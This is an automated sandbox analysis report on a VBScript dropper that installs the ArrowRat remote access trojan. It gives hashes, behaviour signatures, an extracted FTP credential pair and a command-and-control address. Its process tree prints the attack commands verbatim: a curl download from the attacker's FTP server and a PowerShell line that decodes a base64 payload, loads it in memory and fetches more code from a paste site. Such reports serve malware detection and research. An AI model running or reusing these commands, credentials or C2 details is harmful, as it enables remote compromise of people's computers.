Resubmissions

31-08-2022 12:55

220831-p6am9agbe2 10

19-08-2022 17:19

220819-vwbqfsgcdj 10

Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-08-2022 17:19

General

  • Target

    d.vbs

  • Size

    816KB

  • MD5

    2af5abb6db76b3f1872d568880aced94

  • SHA1

    1e47fb1ba30452f72db8f71fe8dde5a7ad5c1f2c

  • SHA256

    3da90ba538cd2589d4018e15b760db3c508d6ffbb7032e3a66789a4c9d09c7b2

  • SHA512

    ba2e899b365b637547301e2402f16f686badb3f182456dc9c552d1e25eb5a6ca6fa9d75cfe9e260f6ba0edba608daf7dee516cc58c659b8b4844388b330889d2

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    185.27.133.14
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    Rfg250583

Extracted

Family

arrowrat

Botnet

Fsocity

C2

104.41.172.235:9091

Mutex

YzpcKpvwT.exe

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Blocklisted process makes network request 3 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 51 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -u [email protected]:Rfg250583 -o c:\Windows\Temp\dll4.txt ftp://fsocietyandtools%[email protected]/Servidor/Config/dll4.txt
      2⤵
        PID:4312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $fs = Get-Content -Path 'C:\Windows\Temp\dll4.txt';[Byte[]] $rOWg = [system.Convert]::FromBase64string( $fs );[Reflection.Assembly]::Load($rOWg).GetType('ClassLibrary2.Class1').GetMethod('execution').Invoke($null, [object[]] ('https://paste.ee/d/6g9rH/0'))
        2⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:668
        • C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\FXSAPIDebugLogFile.vbs
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3492
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1332
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            4⤵
            • Modifies Installed Components in the registry
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies registry class
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:5116
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Fsocity 104.41.172.235 9091 YzpcKpvwT.exe
            4⤵
              PID:5000
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4912
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2136

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        6cf293cb4d80be23433eecf74ddb5503

        SHA1

        24fe4752df102c2ef492954d6b046cb5512ad408

        SHA256

        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

        SHA512

        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        5caad758326454b5788ec35315c4c304

        SHA1

        3aef8dba8042662a7fcf97e51047dc636b4d4724

        SHA256

        83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

        SHA512

        4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

      • C:\Windows\Temp\dll4.txt

        Filesize

        14KB

        MD5

        b3dd8d7a932a7dc0f97e606b2c7ed7bf

        SHA1

        7891a7d8b1afbc271abd703f4520279d60a6916c

        SHA256

        166dfa48e34095803d4992441e06e31ab33fc7cf750e940817cc79dd0170e522

        SHA512

        d1d92cca2cc414f725f225e92803eae0642aadac217cd44630728636f2caf2e3b7f4a83f396b352296ec6c0eeeb492e106c27bc07bc4bb2c4cca793349369240

      • memory/668-143-0x00007FF92F110000-0x00007FF92FBD1000-memory.dmp

        Filesize

        10.8MB

      • memory/668-134-0x000001A869340000-0x000001A869362000-memory.dmp

        Filesize

        136KB

      • memory/668-136-0x00007FF92F110000-0x00007FF92FBD1000-memory.dmp

        Filesize

        10.8MB

      • memory/1332-145-0x0000000005780000-0x000000000581C000-memory.dmp

        Filesize

        624KB

      • memory/1332-144-0x0000000005B90000-0x0000000006134000-memory.dmp

        Filesize

        5.6MB

      • memory/1332-139-0x0000000000400000-0x000000000042C000-memory.dmp

        Filesize

        176KB

      • memory/2136-161-0x0000021095CC0000-0x0000021095DC0000-memory.dmp

        Filesize

        1024KB

      • memory/2136-234-0x0000021085CCA000-0x0000021085CCD000-memory.dmp

        Filesize

        12KB

      • memory/2136-239-0x0000021082BA0000-0x0000021082BC0000-memory.dmp

        Filesize

        128KB

      • memory/2136-236-0x0000021085CCA000-0x0000021085CCD000-memory.dmp

        Filesize

        12KB

      • memory/2136-235-0x0000021085CCA000-0x0000021085CCD000-memory.dmp

        Filesize

        12KB

      • memory/2136-233-0x0000021085CCA000-0x0000021085CCD000-memory.dmp

        Filesize

        12KB

      • memory/2136-174-0x0000021082B40000-0x0000021082B60000-memory.dmp

        Filesize

        128KB

      • memory/2136-157-0x0000021081CB8000-0x0000021081CC0000-memory.dmp

        Filesize

        32KB

      • memory/2136-159-0x0000021085BA0000-0x0000021085BC0000-memory.dmp

        Filesize

        128KB

      • memory/2136-163-0x0000021085C60000-0x0000021085C80000-memory.dmp

        Filesize

        128KB

      • memory/3492-138-0x00007FF92F110000-0x00007FF92FBD1000-memory.dmp

        Filesize

        10.8MB

      • memory/5000-149-0x0000000005770000-0x0000000005802000-memory.dmp

        Filesize

        584KB

      • memory/5000-148-0x0000000000400000-0x0000000000410000-memory.dmp

        Filesize

        64KB